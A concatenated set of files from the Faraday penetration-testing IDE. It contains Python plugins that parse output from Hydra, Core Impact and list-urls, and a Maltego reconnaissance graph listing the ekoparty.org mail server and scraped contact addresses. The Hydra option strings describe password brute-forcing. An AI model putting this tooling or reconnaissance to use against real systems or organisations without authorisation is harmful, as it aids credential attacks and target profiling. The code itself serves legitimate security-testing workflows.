76 "-p":"PASS or -P FILE try password PASS, or load several passwords from FILE",
77 "-x":"MIN:MAX:CHARSET password bruteforce generation, type \"-x -h\" to get help",
78 "-u":"loop around users, not passwords (effective! implied with -x)",
79 "-e":"ns additional checks, \"n\" for null password, \"s\" try login as pass",
80 "-C":"FILE colon separated \"login:pass\" format, instead of -L/-P options",
81 "-M":"FILE server list for parallel attacks, one entry per line",
82 "-o":"FILE write found login/password pairs to FILE instead of stdout",
83 "-f":"exit after the first found login/password pair (per host if -M)",
84 "-t":"TASKS run TASKS number of connects in parallel (default: 16)",
85 "-w":"TIME defines the max wait time in seconds for responses (default: 30)",
86 "-4":"prefer IPv4 (default)",
87 "-6":"prefer IPv6 addresses",
88 "-v":"verbose mode / show login+pass combination for each attempt",
89 "-V":"verbose mode / show login+pass combination for each attempt",
90 "-U":"service module usage details",
91 }
92
93 global current_path
94 self._output_file_path = os.path.join(self.data_path,
95 "hydra_output-%s.txt" % self._rid)
96
97
98
99
100 def parseOutputString(self, output, debug = False):
101 """
102 This method will discard the output the shell sends, it will read it from
103 the xml where it expects it to be present.
104
105 NOTE: if 'debug' is true then it is being run from a test case and the
106 output being sent is valid.
107 """
108
109 parser = HydraParser(output)
110
111 i=0;
112 hosts={}
113 service=""
114 port=""
115 for item in parser.items:
116 service=item['plugin']
117 port=item['port']
118
119 if hosts.has_key(item['ip']) == False:
120 hosts[item['ip']]=[]
121
122 hosts[item['ip']].append([item['login'],item['password']])
123
124 for k,v in hosts.iteritems():
125 h_id = self.createAndAddHost(k)
126 if self._isIPV4(k):
127 i_id = self.createAndAddInterface(h_id, k, ipv4_address=k)
128 else:
129 i_id = self.createAndAddInterface(h_id, k, ipv6_address=k)
130 s_id = self.createAndAddServiceToInterface(h_id,i_id,service,ports=[port],protocol="tcp",status="open")
131 for cred in v:
132 self.createAndAddCredToService(h_id,s_id, cred[0],cred[1])
133
134 del parser
135
136 xml_arg_re = re.compile(r"^.*(-o\s*[^\s]+).*$")
137 def processCommandString(self, username, current_path, command_string):
138
139 self._output_file_path=os.path.join(self.data_path,"hydra_output-%s.txt" % random.uniform(1,10))
140 arg_match = self.xml_arg_re.match(command_string)
141
142 if arg_match is None:
143 return re.sub(r"(^.*?hydra?)",r"\1 -o %s" % self._output_file_path,command_string)
144 else:
145 return re.sub(arg_match.group(1),
146 r"-o %s" % self._output_file_path,
147 command_string)
148
149 def _isIPV4(self, ip):
150 if len(ip.split(".")) == 4:
151 return True
152 else:
153 return False
154
155 def setHost(self):
156 pass
157
158
159 def createPlugin():
160 return HydraPlugin()
161
162 if __name__ == '__main__':
163 parser = HydraParser(sys.argv[1])
164 for item in parser.items:
165 if item.status == 'up':
166 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39 class ImpactXmlParser(object):
40 """
41 The objective of this class is to parse an xml file generated by the impact tool.
42
43 TODO: Handle errors.
44 TODO: Test impact output version. Handle what happens if the parser doesn't support it.
45 TODO: Test cases.
46
47 @param impact_xml_filepath A proper xml generated by impact
48 """
49 def __init__(self, xml_output):
50 tree = self.parse_xml(xml_output)
51 if tree:
52 self.items = [data for data in self.get_items(tree)]
53 else:
54 self.items = []
55
56
57 def parse_xml(self, xml_output):
58 """
59 Open and parse an xml file.
60
61 TODO: Write custom parser to just read the nodes that we need instead of
62 reading the whole file.
63
64 @return xml_tree An xml tree instance. None if error.
65 """
66 try:
67 tree = ET.fromstring(xml_output)
68 except SyntaxError, err:
69 print "SyntaxError: %s. %s" % (err, xml_output)
70 return None
71
72 return tree
73
74 def get_items(self, tree):
75 """
76 @return items A list of Host instances
77 """
78 for node in tree.findall("entity/[@class='host']"):
79 yield Item(node,tree)
80
81
82
83
84 class Item(object):
85 """
86 An abstract representation of a Item
87
88
89 @param item_node A item_node taken from an impact xml tree
90 """
91 def __init__(self, item_node,parent=None):
92 self.node = item_node
93
94 self.arch = self.get_text_from_subnode("property/[@key='arch']")
95 self.host = self.get_text_from_subnode("property/[@key='display_name']")
96 self.ip = self.get_text_from_subnode("property/[@key='ip']")
97 self.os = self.get_text_from_subnode("property/[@key='os']/property/[@key='entity name']")
98
99 self.ports=[]
100 for p in item_node.findall("property/[@key='tcp_ports']/property/[@type='port']"):
101 self.ports.append({'port':p.get('key'),
102 'protocol':"tcp",
103 'status':"open" if p.text =="listen" else p.text})
104
105 for p in item_node.findall("property/[@key='udp_ports']/property/[@type='port']"):
106 self.ports.append({'port':p.get('key'),
107 'protocol':"udp",
108 'status':"open" if p.text =="listen" else p.text})
109
110
111 self.agent=False
112 for node in parent.findall("entity/[@class='agent']"):
113
114 self.node=node
115 agentip=node.get('name').split("/")[1]
116 if self.ip == agentip:
117 self.agentip=agentip
118 self.ipfrom=self.get_text_from_subnode("property/[@key='Connection Properties']/property/[@key='ip']")
119 self.agentype=node.get("type")
120 self.agentport= self.get_text_from_subnode("property/[@key='Connection Properties']//property/[@key='port']")
121 self.agentsubtype= self.get_text_from_subnode("property/[@key='Connection Properties']//property/[@key='subtype']")
122 self.agentcon=self.get_text_from_subnode("property/[@key='Connection Properties']//property/[@key='type']")
123 self.agent=True
124 break
125
126 self.results=self.getResults(item_node)
127
128
129 def getResults(self, tree):
130 """
131 :param tree:
132 """
133 for self.issues in tree.findall("property/[@key='Vulnerabilities']/property/[@type='container']"):
134 yield Results(self.issues)
135
136 def get_text_from_subnode(self, subnode_xpath_expr):
137 """
138 Finds a subnode in the host node and the retrieves a value from it.
139
140 @return An attribute value
141 """
142 sub_node = self.node.find(subnode_xpath_expr)
143 if sub_node is not None:
144 return sub_node.text
145
146 return None
147
148 class Results():
149 def __init__(self, issue_node):
150 self.node = issue_node
151 self.ref=issue_node.get('key')
152 vuln=issue_node.find("property/property")
153 self.name=vuln.get("key")
154 self.node=vuln
155 self.desc= self.get_text_from_subnode("property/[@key='description']")
156 self.port= self.get_text_from_subnode("property/[@key='port']")
157
158 def get_text_from_subnode(self, subnode_xpath_expr):
159 """
160 Finds a subnode in the host node and the retrieves a value from it.
161
162 @return An attribute value
163 """
164 sub_node = self.node.find(subnode_xpath_expr)
165 if sub_node is not None:
166 return sub_node.text
167
168 return None
169
170 class ImpactPlugin(core.PluginBase):
171 """
172 Example plugin to parse impact output.
173 """
174 def __init__(self):
175 core.PluginBase.__init__(self)
176 self.id = "Core Impact"
177 self.name = "Core Impact XML Output Plugin"
178 self.plugin_version = "0.0.1"
179 self.version = "Core Impact 2013R1"
180 self.framework_version = "1.0.0"
181 self.options = None
182 self._current_output = None
183 self._command_regex = re.compile(r'^(sudo impact|\.\/impact).*?')
184
185 global current_path
186 self._output_file_path = os.path.join(self.data_path,
187 "impact_output-%s.xml" % self._rid)
188
189 def parseOutputString(self, output, debug = False):
190
191
192 parser = ImpactXmlParser(output)
193 for item in parser.items:
194 h_id = self.createAndAddHost(item.ip,item.os+" "+item.arch)
195 i_id = self.createAndAddInterface(h_id, item.ip,ipv4_address=item.ip, hostname_resolution=item.host)
196 for p in item.ports:
197 s_id = self.createAndAddServiceToInterface(h_id, i_id, p['port'],
198 p['protocol'],
199 ports = [p['port']],
200 status=p['status'])
201
202 if item.agent:
203 desc="Agent Type: "+item.agentype
204 desc+="\nConn from:" + item.ipfrom
205 desc+="\nPort:" + item.agentport
206 desc+="\nProtocol:" +item.agentsubtype
207 desc+="\nConn:" +item.agentcon
208
209 v_id=self.createAndAddVulnToHost(h_id,"Core Impact Agent",desc=desc,severity="HIGH")
210
211 for v in item.results:
212 if v.port == "Unknown":
213 v_id=self.createAndAddVulnToHost(h_id,v.name,desc=v.desc,
214 ref=v.ref)
215 else:
216 s_id = self.createAndAddServiceToInterface(h_id, i_id, v.port,
217
218 ports = [str(v.port)],
219 status = "open")
220 v_id=self.createAndAddVulnToService(h_id, s_id,v.name,desc=v.desc,
221 ref=v.ref)
222 del parser
223
224 def processCommandString(self, username, current_path, command_string):
225 return None
226
227
228 def setHost(self):
229 pass
230
231
232 def createPlugin():
233 return ImpactPlugin()
234
235 if __name__ == '__main__':
236 parser = ImpactXmlParser(sys.argv[1])
237 for item in parser.items:
238 if item.status == 'up':
239 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2 '''
3 Faraday Penetration Test IDE - Community Version
4 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 See the file 'doc/LICENSE' for the license information
6
7 '''
8 from __future__ import with_statement
9 from plugins import core
10 from model import api
11 import re
12 import os
13 import pprint
14 import sys
15
16
17 current_path = os.path.abspath(os.getcwd())
18
19 __author__ = "Francisco Amato"
20 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
21 __credits__ = ["Francisco Amato"]
22 __version__ = "1.0.0"
23 __maintainer__ = "Francisco Amato"
24 __email__ = "[email protected]"
25 __status__ = "Development"
26
27
28
29
30
31 class ListurlsParser(object):
32 """
33 The objective of this class is to parse an xml file generated by the listurls tool.
34
35 TODO: Handle errors.
36 TODO: Test listurls output version. Handle what happens if the parser doesn't support it.
37 TODO: Test cases.
38
39 @param listurls_filepath A proper simple report generated by listurls
40 """
41 def __init__(self, output):
42 lists = output.split("\r\n")
43 i=0;
44 self.items = []
45 if re.search("Could not reach",output) is not None:
46 self.fail = True
47 return
48
49 for line in lists:
50 if i > 8:
51 print line
52 item = {'link' : line}
53 self.items.append(item)
54 i=i+1
55
56
57
58 class ListurlsPlugin(core.PluginBase):
59 """
60 Example plugin to parse listurls output.
61 """
62 def __init__(self):
63 core.PluginBase.__init__(self)
64 self.id = "Listurls"
65 self.name = "Listurls XML Output Plugin"
66 self.plugin_version = "0.0.1"
67 self.version = "6.3"
68 self.options = None
69 self._current_output = None
70 self._current_path = None
71 self._command_regex = re.compile(r'^(sudo list-urls\.py|list-urls\.py|perl list-urls\.py|\.\/list-urls\.py).*?')
72 self.host = None
73 self.port = None
74 self.protocol = None
75 self.fail = None
76 self._completition ={
77 "":"./list-urls.py <web-page>"
78 }
79
80 global current_path
81 self.output_path = os.path.join(self.data_path,
82 "listurls_output-%s.txt" % self._rid)
83
84
85
86 def canParseCommandString(self, current_input):
87 if self._command_regex.match(current_input.strip()):
88 return True
89 else:
90 return False
91
92
93 def parseOutputString(self, output, debug = False):
94 """
95 This method will discard the output the shell sends, it will read it from
96 the xml where it expects it to be present.
97
98 NOTE: if 'debug' is true then it is being run from a test case and the
99 output being sent is valid.
100 """
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145 def processCommandString(self, username, current_path, command_string):
146
147 host = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", command_string)
148
149 self.protocol = host.group(1)
150 self.host = host.group(4)
151 if self.protocol == 'https':
152 self.port=443
153 if host.group(11) is not None:
154 self.port = host.group(11)
155 return None
156
157 def setHost(self):
158 pass
159
160
161 def createPlugin():
162 return ListurlsPlugin()
163
164 if __name__ == '__main__':
165 parser = ListurlsParser(sys.argv[1])
166 for item in parser.items:
167 if item.status == 'up':
168 print item
0 <?xml version="1.0" encoding="UTF-8" standalone="no"?>
1 <graphml xmlns="http://graphml.graphdrawing.org/xmlns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:y="http://www.yworks.com/xml/graphml" xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns http://www.yworks.com/xml/schema/graphml/1.1/ygraphml.xsd">
2 <!--Created by yFiles for Java 2.7.0.2-->
3 <key for="graphml" id="d0" yfiles.type="resources"/>
4 <key attr.name="MaltegoEntity" for="node" id="d1"/>
5 <key for="node" id="d2" yfiles.type="nodegraphics"/>
6 <key attr.name="MaltegoLink" for="edge" id="d3"/>
7 <key for="edge" id="d4" yfiles.type="edgegraphics"/>
8 <graph edgedefault="directed" id="G">
9 <node id="n0">
10 <data key="d1">
11 <mtg:MaltegoEntity xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.Domain">
12 <mtg:Properties displayValue="fqdn" value="fqdn">
13 <mtg:Property displayName="Domain Name" hidden="false" name="fqdn" nullable="true" readonly="false" type="string">
14 <mtg:Value>ekoparty.org</mtg:Value>
15 </mtg:Property>
16 <mtg:Property displayName="WHOIS Info" hidden="false" name="whois-info" nullable="true" readonly="false" type="string">
17 <mtg:Value/>
18 </mtg:Property>
19 </mtg:Properties>
20 <mtg:DisplayInformation/>
21 <mtg:Weight>0</mtg:Weight>
22 </mtg:MaltegoEntity>
23 </data>
24 <data key="d2">
25 <mtg:EntityRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx">
26 <mtg:Position x="412.79999999999995" y="46.46875"/>
27 </mtg:EntityRenderer>
28 </data>
29 </node>
30 <node id="n1">
31 <data key="d1">
32 <mtg:MaltegoEntity xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.MXRecord">
33 <mtg:Properties displayValue="fqdn" value="fqdn">
34 <mtg:Property displayName="Priority" hidden="false" name="mxrecord.priority" nullable="true" readonly="false" type="int">
35 <mtg:Value>0</mtg:Value>
36 </mtg:Property>
37 <mtg:Property displayName="MX Record" hidden="false" name="fqdn" nullable="true" readonly="false" type="string">
38 <mtg:Value>mail.ekoparty.org</mtg:Value>
39 </mtg:Property>
40 </mtg:Properties>
41 <mtg:DisplayInformation>
42 <mtg:DisplayElement name="Generator detail"><![CDATA[<table><tr><td class=three>Source</td><td class=two>ekoparty.org</td><td class=three>(Domain)</td></tr><tr><td class=three>Transform</td><td class=two colspan=2>To DNS Name - MX (mail server)</td></tr><tr><td class=three>Result</td><td class=two>mail.ekoparty.org</td><td class=three>(MXrecord)</td></tr><tr><td class=three>Gen. date</td><td class=two colspan=2>2011-6-27 23:46</td></tr></table></font>]]></mtg:DisplayElement>
43 </mtg:DisplayInformation>
44 <mtg:Weight>100</mtg:Weight>
45 </mtg:MaltegoEntity>
46 </data>
47 <data key="d2">
48 <mtg:EntityRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx">
49 <mtg:Position x="546.375" y="445.28125"/>
50 </mtg:EntityRenderer>
51 </data>
52 </node>
53 <node id="n2">
54 <data key="d1">
55 <mtg:MaltegoEntity xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.EmailAddress">
56 <mtg:Properties displayValue="email" value="email">
57 <mtg:Property displayName="URLs" hidden="false" name="URLS" nullable="true" readonly="false" type="string">
58 <mtg:Value>http://www.diariodecuyo.com.ar/home/new_noticia.php?noticia_id=420508 Diario de Cuyo - Conferencias internacionales de seguridad
59 http://www.diariodecuyo.com.ar/imagenes/2010/09/EDICION/7menu24.pdf Pagina24y25_Maquetaci��n 1
60 </mtg:Value>
61 </mtg:Property>
62 <mtg:Property displayName="Email Address" hidden="false" name="email" nullable="true" readonly="false" type="string">
63 <mtg:Value>[email protected]</mtg:Value>
64 </mtg:Property>
65 </mtg:Properties>
66 <mtg:DisplayInformation>
67 <mtg:DisplayElement name="Generator detail"><![CDATA[<table><tr><td class=three>Source</td><td class=two>ekoparty.org</td><td class=three>(Domain)</td></tr><tr><td class=three>Transform</td><td class=two colspan=2>To Emails @domain [using Search Engine]</td></tr><tr><td class=three>Result</td><td class=two>[email protected]</td><td class=three>(EmailAddress)</td></tr><tr><td class=three>Gen. date</td><td class=two colspan=2>2011-6-27 23:49</td></tr></table></font>]]></mtg:DisplayElement>
68 <mtg:DisplayElement name="Snippet(s):"><![CDATA[<table><tr><td class=one>Diario de Cuyo - Conferencias internacionales de seguridad</td><td class=three>Indexed on:2011/1/21</td></tr><tr><td class=one colspan=2><a href="http://www.diariodecuyo.com.ar/home/new_noticia.php?noticia_id=420508">[www.diariodecuyo.com.ar]</a></td></tr><tr><td class=two colspan=2>Son 23 las conferencias confirmadas para los d��as 16 y 17 de ' Sitio oficial: www.ekoparty.org. Contacto: [email protected] - (11) 6841 1010. Otras '</td></tr></table><br><table><tr><td class=one>Pagina24y25_Maquetaci��n 1</td><td class=three>Indexed on:2010/9/7</td></tr><tr><td class=one colspan=2><a href="http://www.diariodecuyo.com.ar/imagenes/2010/09/EDICION/7menu24.pdf">[www.diariodecuyo.com.ar]</a></td></tr><tr><td class=two colspan=2>M��s que la p��rdida material, lo. duro para cualquier usuario es el ' www.ekoparty.org - Contacto: [email protected] (11) 6841 1010. net. Una vez que el '</td></tr></table><br>]]></mtg:DisplayElement>
69 </mtg:DisplayInformation>
70 <mtg:Weight>200</mtg:Weight>
71 </mtg:MaltegoEntity>
72 </data>
73 <data key="d2">
74 <mtg:EntityRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx">
75 <mtg:Position x="250.0" y="194.40625"/>
76 </mtg:EntityRenderer>
77 </data>
78 </node>
79 <node id="n3">
80 <data key="d1">
81 <mtg:MaltegoEntity xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.EmailAddress">
82 <mtg:Properties displayValue="email" value="email">
83 <mtg:Property displayName="URLs" hidden="false" name="URLS" nullable="true" readonly="false" type="string">
84 <mtg:Value>http://zh-hk.facebook.com/pages/ekoparty-security-conference/16162244291 ekoparty security conference | Facebook
85 http://www.tecnozona.com/zona_del_que_diran/ekoparty-ya-esta-en-marcha/ Ekoparty ya est�� en marcha
86 </mtg:Value>
87 </mtg:Property>
88 <mtg:Property displayName="Email Address" hidden="false" name="email" nullable="true" readonly="false" type="string">
89 <mtg:Value>[email protected]</mtg:Value>
90 </mtg:Property>
91 </mtg:Properties>
92 <mtg:DisplayInformation>
93 <mtg:DisplayElement name="Generator detail"><![CDATA[<table><tr><td class=three>Source</td><td class=two>ekoparty.org</td><td class=three>(Domain)</td></tr><tr><td class=three>Transform</td><td class=two colspan=2>To Emails @domain [using Search Engine]</td></tr><tr><td class=three>Result</td><td class=two>[email protected]</td><td class=three>(EmailAddress)</td></tr><tr><td class=three>Gen. date</td><td class=two colspan=2>2011-6-27 23:49</td></tr></table></font>]]></mtg:DisplayElement>
94 <mtg:DisplayElement name="Snippet(s):"><![CDATA[<table><tr><td class=one>ekoparty security conference | Facebook</td><td class=three>Indexed on:2010/7/15</td></tr><tr><td class=one colspan=2><a href="http://zh-hk.facebook.com/pages/ekoparty-security-conference/16162244291">[zh-hk.facebook.com]</a></td></tr><tr><td class=two colspan=2>������������Facebook������ ekoparty security conference ���������������������������Facebook��� ekoparty security conference ��������� ' Env��a tu slogans a [email protected]. Una vez recibidos y ordenados '</td></tr></table><br><table><tr><td class=one>Ekoparty ya est�� en marcha</td><td class=three>Indexed on:2011/6/9</td></tr><tr><td class=one colspan=2><a href="http://www.tecnozona.com/zona_del_que_diran/ekoparty-ya-esta-en-marcha/">[www.tecnozona.com]</a></td></tr><tr><td class=two colspan=2>Ten��s hasta el 26 de mayo para enviar tus slogans (hasta 3) a [email protected]. Una vez recibidos y ordenados, se va a hacer online una votaci��n '</td></tr></table><br>]]></mtg:DisplayElement>
95 </mtg:DisplayInformation>
96 <mtg:Weight>200</mtg:Weight>
97 </mtg:MaltegoEntity>
98 </data>
99 <data key="d2">
100 <mtg:EntityRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx">
101 <mtg:Position x="86.5" y="194.40625"/>
102 </mtg:EntityRenderer>
103 </data>
104 </node>
105 <node id="n4">
106 <data key="d1">
107 <mtg:MaltegoEntity xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.EmailAddress">
108 <mtg:Properties displayValue="email" value="email">
109 <mtg:Property displayName="URLs" hidden="false" name="URLS" nullable="true" readonly="false" type="string">
110 <mtg:Value>http://twitter.com/ekoparty/status/23111351685 Twitter / ekoparty: Just for fun! Resolve this '
111 http://zh-tw.facebook.com/pages/ekoparty-security-conference/16162244291?_fb_noscript=1 ekoparty security conference | Facebook
112 http://www.madrimasd.org/iberoamerica/actividades/mostrar_info.asp?id=45272 Actividades
113 http://www.canal-ar.com.ar/Sosnoticia/sosnoticiamuestra.asp?Id=1955 CanalAR - Core Security renueva su presencia en ekoparty '
114 </mtg:Value>
115 </mtg:Property>
116 <mtg:Property displayName="Email Address" hidden="false" name="email" nullable="true" readonly="false" type="string">
117 <mtg:Value>[email protected]</mtg:Value>
118 </mtg:Property>
119 </mtg:Properties>
120 <mtg:DisplayInformation>
121 <mtg:DisplayElement name="Generator detail"><![CDATA[<table><tr><td class=three>Source</td><td class=two>ekoparty.org</td><td class=three>(Domain)</td></tr><tr><td class=three>Transform</td><td class=two colspan=2>To Emails @domain [using Search Engine]</td></tr><tr><td class=three>Result</td><td class=two>[email protected]</td><td class=three>(EmailAddress)</td></tr><tr><td class=three>Gen. date</td><td class=two colspan=2>2011-6-27 23:49</td></tr></table></font>]]></mtg:DisplayElement>
122 <mtg:DisplayElement name="Snippet(s):"><![CDATA[<table><tr><td class=one>Twitter / ekoparty: Just for fun! Resolve this '</td><td class=three>Indexed on:2010/9/6</td></tr><tr><td class=one colspan=2><a href="http://twitter.com/ekoparty/status/23111351685">[twitter.com]</a></td></tr><tr><td class=two colspan=2>Just for fun! Resolve this challenge and get a 15% off Send the token to organizacion @ ekoparty.org | DM http://bit.ly/avQpcx</td></tr></table><br><table><tr><td class=one>CanalAR - Core Security renueva su presencia en ekoparty '</td><td class=three>Indexed on:2011/6/3</td></tr><tr><td class=one colspan=2><a href="http://www.canal-ar.com.ar/Sosnoticia/sosnoticiamuestra.asp?Id=1955">[www.canal-ar.com.ar]</a></td></tr><tr><td class=two colspan=2>Periodismo y An��lisis en el mundo argentino de las tecnolog��as de la informaci��n ' en http://www.ekoparty.org/, escribir a [email protected] o comunicarse al (+54 '</td></tr></table><br><table><tr><td class=one>Actividades</td><td class=three>Indexed on:2011/6/10</td></tr><tr><td class=one colspan=2><a href="http://www.madrimasd.org/iberoamerica/actividades/mostrar_info.asp?id=45272">[www.madrimasd.org]</a></td></tr><tr><td class=two colspan=2>E-mail: [email protected]. Resumen: Asistentes, invitados, especialistas y referentes de todo el mundo tienen la oportunidad de involucrarse '</td></tr></table><br><table><tr><td class=one>ekoparty security conference | Facebook</td><td class=three>Indexed on:2011/5/26</td></tr><tr><td class=one colspan=2><a href="http://zh-tw.facebook.com/pages/ekoparty-security-conference/16162244291?_fb_noscript=1">[zh-tw.facebook.com]</a></td></tr><tr><td class=two colspan=2>ekoparty security conference - A security conference hosted yearly in Buenos Aires | Facebook ' un email a organizacion @ ekoparty.org te enviaremos una carpeta con '</td></tr></table><br>]]></mtg:DisplayElement>
123 </mtg:DisplayInformation>
124 <mtg:Weight>28</mtg:Weight>
125 </mtg:MaltegoEntity>
126 </data>
127 <data key="d2">
128 <mtg:EntityRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx">
129 <mtg:Position x="714.875" y="445.28125"/>
130 </mtg:EntityRenderer>
131 </data>
132 </node>
133 <node id="n5">
134 <data key="d1">
135 <mtg:MaltegoEntity xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.EmailAddress">
136 <mtg:Properties displayValue="email" value="email">
137 <mtg:Property displayName="URLs" hidden="false" name="URLS" nullable="true" readonly="false" type="string">
138 <mtg:Value>http://cfp.ekoparty.org/ ekoparty - CALL FOR PAPERS
139 </mtg:Value>
140 </mtg:Property>
141 <mtg:Property displayName="Email Address" hidden="false" name="email" nullable="true" readonly="false" type="string">
142 <mtg:Value>[email protected]</mtg:Value>
143 </mtg:Property>
144 </mtg:Properties>
145 <mtg:DisplayInformation>
146 <mtg:DisplayElement name="Generator detail"><![CDATA[<table><tr><td class=three>Source</td><td class=two>ekoparty.org</td><td class=three>(Domain)</td></tr><tr><td class=three>Transform</td><td class=two colspan=2>To Emails @domain [using Search Engine]</td></tr><tr><td class=three>Result</td><td class=two>[email protected]</td><td class=three>(EmailAddress)</td></tr><tr><td class=three>Gen. date</td><td class=two colspan=2>2011-6-27 23:49</td></tr></table></font>]]></mtg:DisplayElement>
147 <mtg:DisplayElement name="Snippet(s):"><![CDATA[<table><tr><td class=one>ekoparty - CALL FOR PAPERS</td><td class=three>Indexed on:2011/5/30</td></tr><tr><td class=one colspan=2><a href="http://cfp.ekoparty.org/">[cfp.ekoparty.org]</a></td></tr><tr><td class=two colspan=2>If you don't have an account, please Signup to get started. For training submissions, or questions about our CFP process, contact us directly at [email protected] '</td></tr></table><br>]]></mtg:DisplayElement>
148 </mtg:DisplayInformation>
149 <mtg:Weight>0</mtg:Weight>
150 </mtg:MaltegoEntity>
151 </data>
152 <data key="d2">
153 <mtg:EntityRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx">
154 <mtg:Position x="86.5" y="297.34375"/>
155 </mtg:EntityRenderer>
156 </data>
157 </node>
158 <node id="n6">
159 <data key="d1">
160 <mtg:MaltegoEntity xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.EmailAddress">
161 <mtg:Properties displayValue="email" value="email">
162 <mtg:Property displayName="URLs" hidden="false" name="URLS" nullable="true" readonly="false" type="string">
163 <mtg:Value>http://www.pay2pay.com.ar/clientes/ekoparty-security-conference/register-eng.php ekoparty Security Conference
164 </mtg:Value>
165 </mtg:Property>
166 <mtg:Property displayName="Email Address" hidden="false" name="email" nullable="true" readonly="false" type="string">
167 <mtg:Value>[email protected]</mtg:Value>
168 </mtg:Property>
169 </mtg:Properties>
170 <mtg:DisplayInformation>
171 <mtg:DisplayElement name="Generator detail"><![CDATA[<table><tr><td class=three>Source</td><td class=two>ekoparty.org</td><td class=three>(Domain)</td></tr><tr><td class=three>Transform</td><td class=two colspan=2>To Emails @domain [using Search Engine]</td></tr><tr><td class=three>Result</td><td class=two>[email protected]</td><td class=three>(EmailAddress)</td></tr><tr><td class=three>Gen. date</td><td class=two colspan=2>2011-6-27 23:49</td></tr></table></font>]]></mtg:DisplayElement>
172 <mtg:DisplayElement name="Snippet(s):"><![CDATA[<table><tr><td class=one>ekoparty Security Conference</td><td class=three>Indexed on:2011/6/17</td></tr><tr><td class=one colspan=2><a href="http://www.pay2pay.com.ar/clientes/ekoparty-security-conference/register-eng.php">[www.pay2pay.com.ar]</a></td></tr><tr><td class=two colspan=2>For press or coporate groups acreditations please send a mail to: organizacion ' sponsor at the seventh edition of ekoparty contact us at: [email protected] '</td></tr></table><br>]]></mtg:DisplayElement>
173 </mtg:DisplayInformation>
174 <mtg:Weight>0</mtg:Weight>
175 </mtg:MaltegoEntity>
176 </data>
177 <data key="d2">
178 <mtg:EntityRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx">
179 <mtg:Position x="425.25" y="179.40625"/>
180 </mtg:EntityRenderer>
181 </data>
182 </node>
183 <node id="n7">
184 <data key="d1">
185 <mtg:MaltegoEntity xmlns:mtg="http://maltego.paterva.com/xml/mtgx" type="maltego.DNSName">
186 <mtg:Properties displayValue="fqdn" value="fqdn">
187 <mtg:Property displayName="DNS Name" hidden="false" name="fqdn" nullable="true" readonly="false" type="string">
188 <mtg:Value>mail.ekoparty.org</mtg:Value>
189 </mtg:Property>
190 </mtg:Properties>
191 <mtg:DisplayInformation>
192 <mtg:DisplayElement name="Generator detail"><![CDATA[<table><tr><td class=three>Source</td><td class=two>ekoparty.org</td><td class=three>(Domain)</td></tr><tr><td class=three>Transform</td><td class=two colspan=2>To DNS Name [Find common DNS names]</td></tr><tr><td class=three>Result</td><td class=two>mail.ekoparty.org</td><td class=three>(DNSName)</td></tr><tr><td class=three>Gen. date</td><td class=two colspan=2>2011-6-27 23:50</td></tr></table></font>]]></mtg:DisplayElement>
193 </mtg:DisplayInformation>
194 <mtg:Weight>100</mtg:Weight>
195 </mtg:MaltegoEntity>
196 </data>
197 <data key="d2">
198 <mtg:EntityRenderer xmlns:mtg="http://maltego.paterva.com/xml/mtgx">
